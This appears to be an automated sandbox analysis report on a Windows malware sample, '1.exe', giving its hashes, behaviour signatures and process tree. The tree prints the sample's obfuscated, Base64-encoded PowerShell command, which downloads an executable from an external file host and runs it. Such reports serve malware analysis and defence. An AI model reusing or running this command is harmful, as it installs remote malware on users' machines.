Analysis

  • max time kernel
    43s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    24-12-2022 19:26

General

  • Target

    1.exe

  • Size

    5KB

  • MD5

    c735194e98e65e8eef9f8ff0e7ebb438

  • SHA1

    ac5045e63d0a25902f46639fbef893e490e99ae4

  • SHA256

    a0dd0fd9b082e1e5c66861ab460fce6d9f50b4369def04da73841e5387606837

  • SHA512

    c6fb11ef987ca0bd6787ab533aaf7fd82c6c7ea06aea9d5cde27f83864f2d418d037a761fbfed68e07a9ec5928eb2f8a77506c1f44467970dd88edce4a052c0a

  • SSDEEP

    96:8G791ll3VI287thtvk+PuAYks9vk+Pf1cvHd3ojxrl:/91/33Y5vkCYlvkeCHdW

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1.exe
    "C:\Users\Admin\AppData\Local\Temp\1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAbgBuACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADUANQA2ADAANAA2ADUANAA0ADQANgAyADIAMwAzADcAMAAvADEAMAA1ADUANgAwADQANwA3ADUAMAAwADMAMAA5ADkAMQA4ADYALwBwAGwAbABtAG0AZABpAGkAcABtAC4AZQB4AGUAJwAsACAAPAAjAHAAZgB2ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAagB3AG0AIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAegB2AGwAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMQAuAGUAeABlACcAKQApADwAIwBuAGUAZgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGsAagAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbgBuAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMQAuAGUAeABlACcAKQA8ACMAYQBjAHAAIwA+AA=="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:916

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/916-56-0x0000000000000000-mapping.dmp
  • memory/916-58-0x000007FEF3AA0000-0x000007FEF44C3000-memory.dmp
    Filesize

    10.1MB

  • memory/916-59-0x000007FEF2F40000-0x000007FEF3A9D000-memory.dmp
    Filesize

    11.4MB

  • memory/916-60-0x00000000024F4000-0x00000000024F7000-memory.dmp
    Filesize

    12KB

  • memory/916-61-0x000000001B7B0000-0x000000001BAAF000-memory.dmp
    Filesize

    3.0MB

  • memory/916-62-0x00000000024FB000-0x000000000251A000-memory.dmp
    Filesize

    124KB

  • memory/916-63-0x00000000024F4000-0x00000000024F7000-memory.dmp
    Filesize

    12KB

  • memory/916-64-0x00000000024FB000-0x000000000251A000-memory.dmp
    Filesize

    124KB

  • memory/2016-54-0x0000000000230000-0x0000000000238000-memory.dmp
    Filesize

    32KB

  • memory/2016-55-0x000007FEFB731000-0x000007FEFB733000-memory.dmp
    Filesize

    8KB